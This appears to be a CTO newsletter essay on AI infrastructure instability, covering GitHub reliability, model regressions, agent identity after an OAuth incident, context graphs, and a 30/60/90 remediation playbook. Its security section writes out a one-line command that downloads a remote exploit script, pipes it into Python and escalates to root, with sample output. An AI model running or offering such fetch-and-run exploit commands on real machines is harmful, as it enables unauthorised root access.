The cobra effect story is tidy. It has its own Wikipedia page. It’s also historically wrong. Or rather, it’s a compression that lost the most important information in the encoding. The bounty regarding dangerous snakes started around 1875 and underwent modification around 1895. The goal was to reduce deaths from snakebite, which hovered consistently around 19,000 per year. In 1892, the Raj paid bounties on 84,789 reptiles. In 1893, they paid on 117,120. It was suspected but never proven that people were breeding snakes for profit. More to the point, the death rate barely moved.

The death rate hovered, with the kind of statistical indifference that suggests the bounty had not so much failed to reduce the snake population as failed to meaningfully interact with it at all. In 1891, 21,389 people died from snake bites. In 1892, with 84,789 reptiles paid for under the bounty, the number was 19,025. In 1893, with 117,120 reptiles paid for, it was 21,213. The suspicion that people were farming snakes for the bounty was never proven, and the death rate’s failure to decline said less about cobra breeding than about the fundamental intractability of nineteen thousand annual deaths in a country of that size and that relationship to its landscape. The bounty was reduced, eventually (not cancelled, reduced) and the death rate did not noticeably respond to that either, because the death rate had its own agenda, which the bounty had never successfully engaged.

The myth that the locals caused a cobra explosion is a retrospective compression; a way for administrative systems to blame the targets of an intervention for the baseline failure of the intervention itself. It turns out to be retcons all the way down. The internet desperately wanted the “Amazon warehouse” narrative to be true because it fits a comfortable, algorithmic-resistance trope: low-wage workers sticking it to the machine by gaming the system. But that narrative serves as a smoke screen for the systemic collapse happening in the corporate tier. The warehouse floor wasn’t tokenmaxxing; corporate developers were, because upper management bought into an incomplete, top-down model of “AI transformation” and needed to justify billions in capital expenditure. When the proxy metrics failed to yield real productivity gains, the system didn’t question the metrics, it just monitored the boards harder, forcing its highest-paid engineering talent to spend their days behaving like snake farmers.

What actually had worked in 1890s India wasn’t the bounty, and it wasn’t a crackdown on mythical cobra breeders. It was the boots. Farmers in the fields were dying at rates that declined, measurably and specifically, once they started wearing footwear thick enough to stop a fang.

But nobody talks about the boots, just as nobody wants to talk about the actual code being written at Amazon. The underbrush removal that caused the precise category of adverse effect that good-faith interventions with incomplete models reliably produce, driving rats, and the snakes trailing them, right into the village houses. Nobody talks about that either, because the tidy version, where the subjects are devious, the metrics are absolute, and the failure can be blamed on localized fraud, the story that that incentivisation produces perverse behavior, and perverse behavior destroys the outcome the incentive was designed to produce, sounds like a better story. And better stories circulate faster than the internal Slack logs of a corporate engineering team burning cash to keep a dashboard green, circulate faster than primary sources from the Chambers’s Journal of 1895, which is not available as a podcast.

part 2: Horse and Buggy Software

If you were lucky enough to have been in both places (honestly it's only luck if you score a whole row on the redeye back in time for lunch) you'd notice the same conversation taking place in both venues; namely, the realization that the stack is destabilizing at every layer simultaneously, CTOs saying that most organizations are still acting as if that’s purely a procurement problem rather than an operational one.

You’re flying 2,500 miles to make it to a lunch where people are complaining about the exact same things you just heard in Silicon Valley.

Nearly coinciding with our last lunch, and 40 blocks away, a Vercel employee connected a third-party agent app to their corporate Google account and discovered (the hard way) exactly how much of enterprise security was built around the assumption that the person on the other end of the credential was a person.

From Jensen’s victory lap for an architecture that isn’t shipping yet to the Google Cloud Next keynote quietly declaring that the entire modern data stack was built for the wrong user; from Github’s growing fascination with service degradation to Anthropic’s moving all the furniture around when no one’s looking, to OpenAI’s product line changes and departures, to the surprising (or not so surprising) blast radius of a single Vercel employee connecting a single OAuth app to their corporate Google account; sideways seemed to be the preferred direction this quarter. (Well, not the S&P 500 and NASDAQ Composite, obvi.)

But none of these are unrelated incidents. They’re all dispatches from the same saga, and they share the same structural underpinnings. The emerging (agentic) stack is destabilizing and being destabilized at every layer simultaneously: infrastructure, models, governance, tooling, and the shared world models that hold all of it together.

It’s Her (token) Factory

Last year we mapped the five-tier value chain of AI and noted that only Tier 1 was making real money. Each tier theoretically capturing margin by adding differentiation, one tier actually doing it, the rest playing hot potato as the model showed signs of becoming featurized while the infrastructure around it was becoming the business. But all that’s last year already; you were just apprised in advance.

Just 2 days before aforementioned lunch, Jensen Huang stood on that stage in San Jose to kick off those astonishing 621 sessions (tbc: it was the number that was astonishing; a number of sessions were not necessarily so) and took his victory lap for Vera Rubin, which is not shipping yet.

What actually shipped was Magic Attention and Warp Specialized Attention. In essence, both are variants on the barnyard bromide “all tokens are equal but some are more equal that others.” Magic Attention routes compute dynamically based on token relevance, the silicon now sorting signal from noise at inference time rather than brute-forcing the whole context window. Warp Specialized Attention goes lower still, down to the 32-thread atomic unit of GPU execution, parallelizing the attention kernel itself (query, key, value, output all running concurrently) to not just push back, but structurally eliminate the memory tax bottleneck every serious inference workload has to pay (the bandwidth bottleneck between GPU compute and GPU memory.)

If the room understood what that meant, Jensen wouldn’t have needed the leather jacket. (There’s a reason NYC CTOs don’t really wear those anymore.)

What it means is this: the data center used to be a warehouse. You bought capacity, held it, served against it. Overprovision, autoscale, cache aggressively, pray your worst-case concurrency assumptions held. It’s how we’ve always done it. Inference breaks that abstraction at the foundation. Tokens enter as raw material. Inside the system they are culled, recombined, and amplified with highly uneven expenditure of compute. Most of the input is not preserved but consumed in the act of producing the output. The transformation is the product. What matters is not how much state you can hold but how efficiently you can drive that transformation under hard constraints: latency, bandwidth, power, cost, SLOs. Which is a factory dynamic, not a warehouse.

Historically, capacity planning assumed a relatively stable relationship between input and compute. That relationship is gone. Inference workloads are nonlinear, context-sensitive, and shaped by attention mechanisms your procurement team has never heard of and probably won’t understand. And the organizations still treating this as a warehouse problem, or procurement, still capacity planning, still autoscaling against static assumptions, are running factory economics through warehouse math.

Because the value has shifted (accordingly): not to whoever owns the largest static artifact, but to whoever runs the most efficient transformation pipeline across hardware, runtime and orchestration.

We Need to Talk about Github

To run efficient pipelines, though, you need stable infrastructure, but what exactly is going on over at GitHub these days? Just since our last newsletter they have averaged an incident per day, no cap. And if you showed me the shambolic status bars for Anthropic and GitHub side-by-side, I’d be hard pressed to even say which was which, tbh, with a number of Github incidents being high severity and in at least one case a CVSS 8.7 remote code execution.

It got so bad Mitchell Hashimoto started keeping a journal (Mitchell is GitHub user #1288, signed up in 2008; the year of my very first talk on Git + Mongo, FWIW.) He’s been logging incidents for months and the data is—as we say—brutal: 37 incidents in February; 28 in March; 23 in April. One Merge Queue bug silently reverted commits across 658 repositories and 2,092 PRs. April 28 brought CVE-2026-3854, CVSS 8.7, remote code execution in the internal git layer, with 88% of GitHub Enterprise Server instances still unpatched at last count. If you’ve been wondering whether the degradation you’ve been noticing is serious or exaggerated, he brought the receipts.

Zig migrated to Codeberg in December, which registered as a warning shot at the time and got filed away as one project’s idiosyncratic preference. I mean, it’s Zig, right? But Mitchell announcing Ghostty was following suit was the dam bursting.

The Copilot revenue story is genuinely good. The platform reliability story isn’t, and the two are arguably not coincidental.

But Microsoft is pouring its engineering attention into Copilot features while the underlying platform accrues the kind of (quiet) degradation that’s inappropriate for a product announcement and rarely makes it into any documentation surface at all. This concern has a particular weight right now because IaC has become the mandatory backbone for scaling AI systems and multi-cloud architectures, and the transition already underway is pushing it further toward autonomous, self-healing environments where policy and intent drive the architecture rather than static, human-written configuration.

Terraform (or Tofu, post-IBM acquisition) plans that a human reviews before applying are giving way to systems that continuously reconcile desired state with actual state. Less like an OODA loop and more like homeostasis. The more autonomy you push into the infrastructure layer, the more the platform running your pipelines, your repos, your CI/CD has to be something you can actually depend on.

GitHub degrading precisely as IaC matures toward autonomy is “no coincidence” but is a compounding problem with a compounding cost: the more your infrastructure drives itself, the more catastrophically it fails when the platform underneath it doesn't.

Moving the Furniture in Real Time

The Gartner Hype Cycle has always been a useful fiction, but it used to at least hold still. It now feels less like a cycle and more like someone rearranging the furniture while you’re sitting on it. In the dark. While billing you for the privilege. CTOs aren’t the only ones tripping over it, but they’re the ones expected to explain the bruises at the next board meeting. Doubly so, if you’re fractional. At lunch, the conversation keeps circling back to the same uncomfortable realization: the capability you validated in Q1 is not the capability you’re running in Q2. And Q3 is days away.

Although Opus 4.6 (released Q1) didn’t draw the extremely vocal dissatisfaction for coding as it was met with in the writers community, it actually regressed on SWE-Bench. When Opus 4.7 arrived (same vendor, same product line, one release cycle) and drew the kind of vocal, sustained dissatisfaction that’s genuinely hard to achieve in a market that can’t stop praising everything (worse than GPT-5 launch, impressive in the wrong direction!) it broke the foundational assumption most shops had bought into: that newer means better. Nope. Not predictably. Not reliably. Not structurally. Treating this as a fluke rather than a pattern is the more expensive mistake, btw.

The loyalty churn compounds this. One month Claude Code is your team’s golden goose. The next it’s nerfed and Codex is back. Tool loyalty in this space has more back-and-forth than the US Open final. And then there’s that one guy on the team who insists Gemini CLI is best, but never seems to be able to articulate why beyond personal preference. (The worst part is he might be right by the time this goes to print.) You thought you were standardizing on a tool; you were renting one mid-identity crisis.

None of this has a name yet, which ofc is part of the problem. Model (and harness) instability as an infrastructure risk class is real, consequential, and eating engineering hours across the industry, but it doesn’t have the vocabulary that would force it onto a risk register. It needs a line item in the workbook.

Your ersatz leading indicator is the quality of your engineers’ Slack complaints. (Because that’s obviously a lagging indicator.) More specifically: the proliferation of workarounds, the tool-switching that doesn’t go through approval, the browser extension shipped to another team to automate clicking “continue.” (We won’t talk about the Javascript that got passed around to automate watching mandatory HR trainings.) When your team is scripting around vendor rate limits at that speed, you’re not reading a leading indicator, you’re already en route to a post-mortem.

The Stack Beneath the Model Is Also Moving

Stability is not a feature. It’s a tax you pay somewhere.

It’s not just model mayhem. Although models are not as predictable as they once were (if you’ll forgive me the expression.) The jump in token usage from 4.5 to 4.6 was noticeable but then Opus 4.7 arrived with a near-quadrupling of token usage on identical prompts. This showed an industry rule of thumb, that you could estimate cost from prompt structure, even as prompts were growing in cost, wasn’t nearly as reliable as was previously thought. And it wasn’t thought to be so reliable to begin with. We’re back to guessing at quality, latency, and cost simultaneously.

Everything underneath is moving at the same time, and the regression surface is larger than most teams have mapped. At the SaaS product layer (Claude Code; Codex; Gemini CLI, I guess) you get model plus harness plus UX, bundled, with no meaningful changelog. You are effectively QA for a product you don’t control. Unpinned APIs offer maximum volatility with minimum warning; you’re opting into drift whether you know it or not. Pinned APIs give you fixed weights, but the surroundings (system prompts, safety filters, retrievers) are still fluctuating on vibes. Self-hosted open weights hand you the regression surface you always wanted: yours, entirely, to debug at 2am. (Congratulations. Hope you like kernels.) None of these options are clean; all of them are hiding costs somewhere.

Anthropic shipped approximately 50 updates in 52 days (impressive velocity or an admission of instability, depending on your blood pressure). Tool call limits dropped silently from roughly 80 per turn to somewhere between 10 and 20. Peak-hour throttling became normalized across all tiers, with dedicated sites now cataloging the outages. OpenAI’s version is more theatrical: A Sora announcement with considerable fanfare was followed by the entire project being killed the next day, the team blindsided, Disney finding out about the billion-dollar partnership cancellation with under an hour’s notice. The head of OpenAI for Science likewise making a huge product announcement the day before he drops his suspiciously effusive severance-compliant farewell. Three of their top execs announcing their unplanned departures late on a Friday with extremely polite goodbye posts doing a lot of legal work. The through-line is the same in both cases: if their own teams don’t have a stable roadmap, your own roadmap which includes them as a dependency is hitched to a runaway process.

The honest answer on what to do fits in two points. Internal evals are the only signal you actually own: continuous, workload-specific, and running before you need them, not after. Open weights are the architectural escape hatch; real stability and real control in exchange for real infrastructure responsibility, and not as expensive as they used to be relative to what proprietary instability is now costing. And the calculus is moving fast enough that neither option is dismissible; both paths are unstable in different ways, both are improving rapidly, and choosing without acknowledging this is how you write the next case study. Or maybe yours will be a success story. (If you implement the recommended playbook, following.)

CTO Playbook: 30/60/90

Model Version Pinning Audit (HIGH PRIORITY - 30 days):

• Enumerate all production LLM calls across services (grep codebase, inspect API gateways, trace outbound requests). Extract: provider, model name, version/snapshot, invocation path. Identify any calls without explicit snapshot pinning and any references to deprecated snapshots (e.g., 20250514). Replay a fixed prompt set (≥50 representative prompts) against current vs latest model versions to measure token count variance and output drift.

  • Measure: % unpinned calls, deprecated snapshot usage count, token delta distribution (p50/p95), output diff rate.

  • Deliverables: versioned model inventory (service → endpoint → model → snapshot), deprecation remediation list with owners, token cost variance report on fixed prompts, CI/CD rules to reject unpinned snapshots (backlog).

OAuth Access Audit (HIGH PRIORITY - 30 days):

• Query all OAuth integrations via admin APIs (Google Workspace, GitHub, Slack). For each app: pull scopes, install date, last access timestamp, associated users/services. Cross-reference with IAM to identify service accounts vs human users. Validate scope necessity against actual API usage logs. Revoke tokens for unused apps (>30 days inactivity) and any app without mapped owner.

  • Measure: total OAuth apps, % with unused scopes, % without owner, number of high-risk scopes (write/admin).

  • Deliverables: OAuth registry table (app_id → scopes → owner → last_used → risk_score), revocation log, list of over-scoped apps with required scope reductions, access review sign-off.

GitHub Dependency Mapping (HIGH PRIORITY - 30 days):

• Extract all GitHub-dependent workflows (Actions YAML, webhooks, Packages pulls, Pages deployments). Build dependency graph: service → workflow → GitHub feature. Chaos day: Simulate failure by disabling Actions in staging or blocking api.github.com egress. Record pipeline failures, deployment blocks, artifact fetch errors.

  • Measure: number of critical workflows dependent on Actions, mean time to failure under outage simulation, % of pipelines without fallback.

  • Deliverables: dependency graph (DAG format), outage impact matrix (workflow → failure mode → severity), list of single points of failure, remediation backlog (mirror, cache, or decouple).

Continuous Evaluation System: (MEDIUM PRIORITY — 60 days):

Reference implementation: Continuous Evaluation with Harbor

• Implement continuous evals for Prod LLM and agent workflows using Harbor as execution layer. Goal: run ongoing, reproducible evaluations on real production traces to detect model drift, agent degradation, and tool-use failures. Sampling, dataset construction, evaluation execution, and CI-triggered runs should follow the Harbor continuous eval workflow.

  • Measure: pass/fail rate per workflow, semantic drift vs baseline, output variance %, agent tool-use success rate.

  • Deliverables: Harbor-based continuous evaluation system, versioned production trace datasets per workflow, CI-triggered evaluation runs, regression dashboard across model and agent performance, rollback thresholds tied to observed regression.

Repository Failover (MEDIUM PRIORITY - 60 days):

• Set up secondary Git host. Mirror repositories using scheduled sync. Replicate access controls and deploy keys. Reconfigure CI pipelines to support alternate git remote. Execute controlled failover: switch origin, trigger build, validate artifact production and deployment.

  • Measure: sync lag (seconds), failover time (minutes), % pipelines passing post-failover.

  • Deliverables: mirrored repos with sync automation, documented failover runbook, successful failover test logs, rollback procedure.

Pipeline Monitoring Decoupling (MEDIUM PRIORITY - 60 days):

• Implement external monitoring (e.g., cron-based or event-driven) to poll pipeline endpoints and artifact availability independent of GitHub. Inject synthetic transactions (trigger builds, verify completion via API). Route alerts through independent channel (PagerDuty, etc.). Simulate GitHub outage by blocking API access and confirm alert triggers.

  • Measure: alert latency under failure, % pipelines with coverage, false negative rate in simulation.

  • Deliverables: monitoring service w coverage map (pipeline → monitor), alerting config, outage simulation report with detected vs missed failures.

Model API Stability Policy (QUARTERLY OKR - 90 days):

• Define enforcement rules: all model calls must include explicit snapshot/version; fallback chains must be explicit and logged. Implement static analysis (lint rule or CI check) to reject unpinned model usage. Add runtime logging for model selection, fallback invocation, and version drift. Schedule review cadence aligned to vendor release cycles.

  • Measure: % compliance with pinning policy, number of fallback events per week, time-to-detect version drift.

  • Deliverables: policy document, linting/CI enforcement rules, logging schema for model usage, weekly drift report.

GitOps Host Abstraction Assessment (QUARTERLY OKR - 90 days):

• Audit deployment system (Flux/ArgoCD/etc.) for hardcoded GitHub dependencies (URLs, auth, webhook triggers). Test multi-source configuration with secondary Git host. Attempt full environment sync from non-GitHub source. Identify blockers (auth, tooling assumptions, pipeline coupling).

  • Measure: % of workloads deployable from alternate host, number of GitHub-specific dependencies, time to switch source.

  • Deliverable: architecture assessment (component → dependency), list of GitHub-coupled elements, implementation plan to achieve host abstraction.

Open Weights Evaluation (QUARTERLY OKR - 90 days):

• Select candidate open-weight models. Deploy locally or in VPC. Run same eval dataset as API models. Measure inference latency (cold/warm), throughput (req/s), infra cost (GPU hours), and output quality vs baseline. Test operational constraints: scaling, failure recovery, model reload times.

  • Measure: cost per 1K requests, latency p50/p95, output quality delta vs API baseline, ops overhead (engineer hours/week).

  • Deliverable: benchmark report (API vs open-weight), infra cost model, performance comparison charts, recommendation on scope of adoption.

Enterprise Agentic Stack Arrives (which one?)

“We’re no longer thinking about human personas like data scientists.
We’re thinking about agents as the persona.”

We’ve talked before about the collapse of the modern data stack. It’s now collapsing from an entirely new pressure, or rather the same source previously identified, now felt at production scale. The entire modern data stack, dbt, Fivetran, the warehouse underneath it, the BI layer on top, was architected around human-paced consumption, the assumption that the user is a human that’s baked into every abstraction layer in the stack. While it may seem obvious that, if agents are the user class now, that’s a lot of infrastructure built for the wrong person, why did it take someone saying this from a big enough stage—last week at Google Cloud Next in Las Vegas—for enterprise architects to respond? That’s a rhetorical question, obvi.

Gemini Enterprise Agent Platform (GEAP‽) is Google’s theory of where the response goes: Agent Studio, Agent-to-Agent Orchestration, Agent Registry, Agent Identity, Agent Gateway, Agent Observability. Agent Identity. Their naming as fun and un-subtle as ever. But notice what’s sitting inside that stack: Agent-to-Agent Orchestration isn’t a proprietary Google feature. It’s built on A2A, the Agent-to-Agent Protocol that Google originated and then donated to the Linux Foundation, which just hit its one-year mark with over 150 supporting organizations (incl. AWS, Microsoft, Cisco, IBM, Salesforce, SAP, and ServiceNow) with production deployments across supply chain, financial services, insurance, and IT operations. Microsoft has embedded it in Azure AI Foundry and Copilot Studio. AWS shipped support through Bedrock AgentCore Runtime. This isn’t a Google platform. This is a standards moment, and it happened while everyone was watching the cloud keynotes.

A2A/MCP pairing is a sharper way to see the stack taking shape. A2A defines how agents communicate and coordinate across organizational boundaries. MCP, also now a Linux Foundation project, defines how agents connect to internal tools and data sources. Together they form a two-layer foundation for multi-agent systems that don't require a single-vendor approach. The interoperability problem, the one that was going to generate years of proprietary lock-in fights, has a potential answer.

Google's bet, on top of that foundation, is that governance has to be enforced before an agent touches anything, at the control plane, below the application layer, the same way IAM is enforced before a human touches anything, with observability and policy baked in. By the time an agent is inside your application boundary, in this theory, the governance window has already closed. Their 8th gen TPU inference pod (1,152 TPUs, 3x on-chip SRAM, built to run millions of agents concurrently) is the hardware for the world this theory requires.

Vercel’s theory is that the application layer is where agent intelligence should live, embedded in runtime context, version-matched documentation, and direct application observability, rather than governed from infrastructure below. The agent doesn’t need an identity primitive if it never leaves the application boundary.

Next.js 16.2 ships AGENTS.md into every new project: a file that redirects agents from stale training data to version-matched documentation bundled directly in node_modules. Vercel ran the evals. AGENTS.md hit 100% on Next.js tasks. Skills-based approaches maxed out at 79%, because skills require the agent to recognize when to invoke them, and in 56% of eval cases it didn’t. Always-available context beats on-demand retrieval, which is a finding with implications well beyond Next.js. next-browser goes further: terminal access to a running application, screenshots, network requests, console logs, React component trees, all returned as structured text an agent can reason about without touching a browser UI. The agent sees what the application is doing in real time.

Which one of these visions is right about where agents actually live and who governs them? Vercel is building from the application layer down: AGENTS.md plus bundled docs that make your agent an expert in the exact version of Next.js it’s running, a purpose-built browser tool for frontend debugging and optimization, a framework that treats the agent as a first-class runtime citizen. (Mitchell Hashimoto, fresh from keeping GitHub’s incident journal, just joined the Vercel board. The open source infrastructure world is quietly reorganizing around a specific architectural thesis, and that’s where he placed his marker.)

Google's answer to that question is that the application layer is too late. Agent Identity in the Gemini stack isn't a feature you bolt on after deployment, it's a primitive, enforced at the control plane before an agent is permitted to act; the same way IAM governs humans before they touch anything. Agents in this model are credentialed, scoped, and auditable from the infrastructure layer up. The six-product announcement (Studio, Orchestration, Registry, Identity, Gateway, Observability) is not a product suite. It's a governance stack, and the sequence is deliberate: you don't get to Orchestration without Identity, you don't get to Observability without Gateway.

Google is arguing that the blast radius of an ungoverned agent isn't an application problem. It's an infrastructure problem, and infrastructure problems require infrastructure solutions. A2A v1.0 ships Signed Agent Cards, cryptographic identity verification baked into the protocol itself, which is as explicit as a spec gets about where the project thinks identity has to live.

A Vercel employee downloaded a third-party agent app, connected it to their corporate Google account via OAuth, and the chain unraveled. Account takeover. Internal system access. Unencrypted credentials exposed. Context AI, for its part, did its best to treat this as a footnote.

The only irony is structural. Agent Identity, the piece Google announced as a foundational infrastructure primitive and the piece the broader A2A ecosystem just shipped a cryptographic answer for, is the hardest unsolved deployment problem in the agentic stack, and here is exactly what it looks like when it fails in the wild. At the company that shipped AGENTS.md. Against a protocol that had the answer in the spec. It just didn’t make it into the deployment.

Google is probably right that Agent Identity needs to be solved at the infrastructure layer. The industry just ratified Google's bet in the form of an open standard. Vercel just ran the proof of concept for why it matters. The question for every CTO in the room is which failure mode you're currently exposed to, and whether you've priced it. That's the work Agentic Reliability Engineering (ARE), if we're naming the discipline, actually does.

Context is King (for a day)

Context Engineering isn’t a discipline. It’s a symptom.

We used to treat context as something systems carried. That day is gone. The interesting question is why context is king, and the answer is less flattering than the royal sloganeering implies. Context is king because it forgets. Every agent session starts from nothing, no memory of last Tuesday's decision, no awareness of the exception carved out in February, no institutional knowledge of any kind. The context window is finite, ephemeral, and when the session ends, the kingdom falls. You rebuild it tomorrow. Context is king for a day because that's all the reign it gets.

The reason this is even possible to say out loud, the reason context and meaning are so tightly coupled that losing one destroys the other, traces back to Zelig Harris and the distributional hypothesis: meaning is literally a function of context, not a property of tokens. That's the insight that made all of modern NLP possible, and it's also the source of the problem. If meaning is context-dependent all the way down, then systems that drop their context don't just forget. They become incoherent.

This is what's underneath the term "context engineering" that's been circulating lately. It's not a discipline. It's a symptom. It's what software architecture looks like when the model is the runtime, amnesia is a default system behavior, and the response is to hire someone to manage the forgetting more carefully. Every layer of abstraction eventually collapses under the weight of implicit state. We've been here before. We just called it state management, and we had better tooling for it.

Context drift is the actual enemy, and none of the current standard-issue responses actually fight it. Prompt engineering is muscle memory for a problem that has moved on. RAG pipelines are transitional fossils — useful, not sufficient. Carefully curated embeddings are a partial answer to a question that keeps getting bigger. None of them solve the core problem: every tool call, every intermediate step, every partial output introduces entropy into the system's understanding of what's going on. The more agents you add, the less predictable the system becomes — not because the models are worse, but because the shared world model is dissolving.

Neo4j Labs shipped uvx create-context-graph earlier this year, and Context Hub (chub) is the delivery vehicle that lets agents build and query a local context graph: persistent, local-first, queryable. The mechanical description is accurate and misses the point entirely. What chub is actually doing is operationalizing something the industry has been hand-waving for months: context isn't a prompt, it's a topology. Agents aren’t the recipients of context; they traverse it, mutate it, and occasionally corrupt it. CLI scaffolding is support for the moment the pattern morphs from whitepaper to make install. (We moved from CRA to Vite, and then from Vite to turbopack. It keeps getting faster.) What React did for front-end state, this is trying to do for agent cognition, but without the luxury of pretending the state is local, ephemeral, or internally consistent.

This is the shift from stateless intelligence to stateful coherence, and it represents an architectural inversion that hasn't fully landed yet. The old model: models at the core, data as input, context as wrapper. Call it MDC. The emerging model inverts it: context as core, data as one of many context sources, models as interchangeable operators. (CDM) The model isn't the thing anymore. The context layer is. At the upper echelons of enterprise, where the word travels more slowly, the realization is arriving that competitive advantage isn't about having the best fine-tuned model. It's about building, maintaining, and querying a high-fidelity context layer. Which, if you're keeping score, is basically a speedrun of the "it's the data, not the models" revelation from the MLOps era. History doesn't repeat, but it does maintain a context graph.

The master/emissary phenomenon we've talked about before applies here with particular force: capability has scaled faster than coherence, which means you have ambiguity operating at two distinct levels simultaneously; in the latent space of the models and in the shared world model dissolving across agents. Are you starting to see why there's a billion dollars pointing at the world model problem? Are you starting to get the sense of just how fast that train is moving, based purely on the singular convergence of attention across the top tech corridors — everyone talking about the same thing without quite knowing it, united in opposition to system entropy? Context graphs are the first serious attempt to fight that entropy at the architectural level. Not a passing of the crown. 👑 A regime change from within.

RSC-y Business

The security perimeter was always a fiction maintained by the friction of human operations.

Let’s talk about copy fail. [https://copy.fail/#exploit] Or, actually, let’s just run it:

% curl https://copy.fail/exp | python3 && su
% id
uid=0(root) gid=1002(user) groups=1002(user)

This works on every Linux distro since 2017. It’s 732 bytes. No race window. No kernel offset. One logic bug in authencesn, chained through AF_ALG and splice() into a 4-byte page-cache write. And an unprivileged local account and one Python script.

Discovered by an AI in about an hour of scan time using one operator prompt an no harness. And it found a non-exotic root privilege escalation exploit sitting here unnoticed for 9 years. TBC, this wasn’t an exotic attack, let alone a nation-state, no zero-day. It was one prompt and an hour of scanning.

The Context AI incident wasn’t exotic either. It was one employee with one third-party agent app over one OAuth connection to a corporate Google account. Boom. Corporate account compromised, internal systems accessed, unencrypted credentials exposed. No sophisticated attack chain. No zero-day. Again, no nation-state threat actor. Just the entirely predictable consequence of OAuth as an identity model for agents that act autonomously on behalf of humans inside enterprise systems. The blast radius of a single misconfigured trust relationship, in a world where agents are now operational.

The security community has been watching this coming. Last December OWASP published the Top 10 for Agentic Applications, the first formal taxonomy of risks specific to autonomous AI agents, covering goal hijacking, tool misuse, identity abuse, memory poisoning, cascading failures, and rogue agents. Real categories, based on real incidents. Hidden prompts turning copilots into silent exfiltration engines. Agents bending legitimate tools into destructive outputs. Leaked credentials letting them operate far beyond their intended scope.

Institutional responses followed. Microsoft shipped the Agent Governance Toolkit in April, open-source, MIT-licensed, the first toolkit to address all 10 OWASP agentic AI risks with deterministic, sub-millisecond policy enforcement. The Colorado AI Act becomes enforceable in June 2026. Over in the EU, AI Act’s high-risk AI obligations take effect in August. The enterprise security stack is reorganizing around the agentic threat model in real time, with enough urgency that the regulatory and tooling responses are arriving within weeks of each other. Palo Alto announced the acquisition of Portkey yesterday, positioning their AI Gateway as the unified control plane for agent traffic governance.

And yet. Only 21% of organizations have a mature governance model for autonomous AI agents. Nearly as many organizations expect their AI agent security investment to decrease over the next twelve months as expect it to increase (41.6% versus 42.4%) at the exact moment agents are moving from pilots to production, from read to write access, from controlled experiments to autonomous operations across enterprise systems that were never designed for this. The investment curve and the risk curve are running in opposite directions. I honestly can’t explain it. Ok, maybe I can.

The question is why, and the answer, if you’ve been paying attention this newsletter, is the same answer it always is: the threat model isn’t visible yet because the world model that would make it visible doesn’t exist. Organizations can’t price a risk they haven’t encoded; can’t govern behavior they haven’t modeled; can’t defend a boundary they assumed rather than enforced. So many things they can’t do.

There is also the harder version of this problem. Anthropic’s Mythos Preview was a gated research preview for defensive cybersecurity work. What the system card notes, carefully, is that Anthropic did not explicitly train Mythos to have offensive capabilities. They emerged as a downstream consequence of general improvements in code, reasoning, and autonomy. The same improvements that make the model more effective at patching vulnerabilities also make it more effective at exploiting them. Which also means it’s nothing particular to Mythos. GPT 5.5 is finding this same class of exploits. In theory Qwen isn’t that far behind discovering root escalations in a decade’s worth of Linux releases in about an hour of scan time. The capability surface and the threat surface are now the same surface, and they’re expanding together. CTOs want to know what what’s collapsing under the weigh of this expanding surface.

Calypso Colapso

Signs of collapse are everywhere. For CTOs, the trick is knowing what it’s collapsing into. And why.

If you’ve been paying attention you may have noticed each layer of the stack has destabilized for the same reason. Not because the vendors are incompetent, though some of them are having a rough quarter. Not because the industry is moving fast, though it is (still not as fast as some would like.) But underneath it all, the same structural failure expressing itself at every layer simultaneously: the shared world model was never in the substrate. It was in people’s heads, in institutional memory, in the implicit understanding of what “canonical state” means and when to tombstone versus hard delete. Under agentic pressure, this missing map is multiplying malfunction across the entire ecosystem.

At the bottom of the stack it’s why data centers can no longer be treated as a warehouse, which was always just a buffer on ultimate throughput. Tokens factories make this explicit, specifically the need for efficient transformation pipeline across hardware, runtime and orchestration that either has a shared model or a way to withstand collapse in the absence of one.

But the infrastructure layer we rely on for that stability is also collapsing. Github literally just had 88 incidents in 89 days. Anthropic's status bar looks like a Gerhard Richter. And the real horror is that infra is learning to drive itself on a substrate that is silently, consistently, undependably wrong. That’s a new category of failure that doesn’t have a runbook yet.

Above that, model performance is also destabilized. Regressive updates, to be concise. But with the regression surface expanded to include things you didn’t know you were depending on; tokenizer behavior, tool call limits, system prompt interpretation. Your vendors’ release cadence became an infrastructure risk class with no line on your risk register.

All of which leads us to the agentic stack explicitly, which ofc has arrived before anyone agreed on where agents live or who governs them. The human persona, which was never a security boundary so much as an assumption we occasionally noticed, got stress-tested and was found wanting, as were security protocols at the company making the most interesting argument for application-layer agent governance. (And context concerns sitting atop of all this, quietly munching tokens like a snack attack.)

Every layer of the stack was architected for a world that assumed stability; stable hardware economics, stable infrastructure primitives, stable model behavior, stable human personas as the unit of identity, stable institutional knowledge as the carrier of architectural intent. That world is gone. What replaced it is a system under continuous destabilization, in multiple directions, faster than most organizational response times, and the standard responses (better procurement, more vendors, tighter SLAs) are solutions to a problem that assumed a shared world model as fixed point of reference.

You now have some insight why Yann LeCun is so hopped up about world models. Not the Yann of the quote-tweet, nor the Yann of the panel debate, nor the Yann of the long-running public disagreement with people who think scaling is all you need. The actual argument, which has been consistent and specific and largely misread as contrarianism: that a system without a persistent, structured model of the world it's operating in is not intelligent, it's interpolating. That the difference between a system that can act coherently across contexts and one that can't is not a bigger context window or a better attention mechanism, it's whether the system has internalized a model of how the world works that persists across interactions, updates with new information, and can be queried, corrected, and composed with other world models.

Which is AGI, no? Not the AGI of a philosophic treatise, or podcasts or CEO tweets or news media or influencers or that one person you see at literally every single event in SF or the long tail of flame wars on social media. But AGI as the global solution, the intelligence layer built in response to the problem of shared world model reconciliation across domain and service boundaries, across the layers of the collapsing stack. The problem we have just watched express itself over the last quarter.

What we really saw this quarter, in the hardware annoucements, the GitHub incidents, the model instability, the agentic identity crisis, and the context drift, across five different layers and five different sets of vendors and failure modes and engineering teams having very different bad weeks (and so missing lunch) at the bottom of every single one, the same load-bearing absence: a shared world model that was never in the substrate.

The same root cause surfacing independently across hardware economics, infrastructure trust, model behavioral stability, agent identity, and context coherence.

Here's what that looks like when you trace it through each layer specifically. GitHub's Merge Queue bug didn't silently revert commits across 658 repositories because the engineers were careless. It did so because the system had grown complex enough that no team held a coherent model of its own state what "canonical" meant, what a commit's downstream effects were, which invariants still held. That's a world model failure expressed as infrastructure. The Opus 4.7 regression is the same failure expressed as a model release: the vendor's internal model of "what improvement means" diverged from the production model of "what better means in your workload," with no shared ground truth to arbitrate between them. The Context AI incident is the same failure expressed as identity: OAuth was designed for a world where the entity holding credentials was a human with persistent, accountable behavior. The second an agent held those credentials, the identity system was running on a world model that no longer described reality. And context drift is just this failure made explicit as agents begin every session with no world model at all, reconstruct it imperfectly from available context, and in multi-agent systems, each agent's partial reconstruction diverges from every other agent's, producing a shared world model that is dissolving in real time.

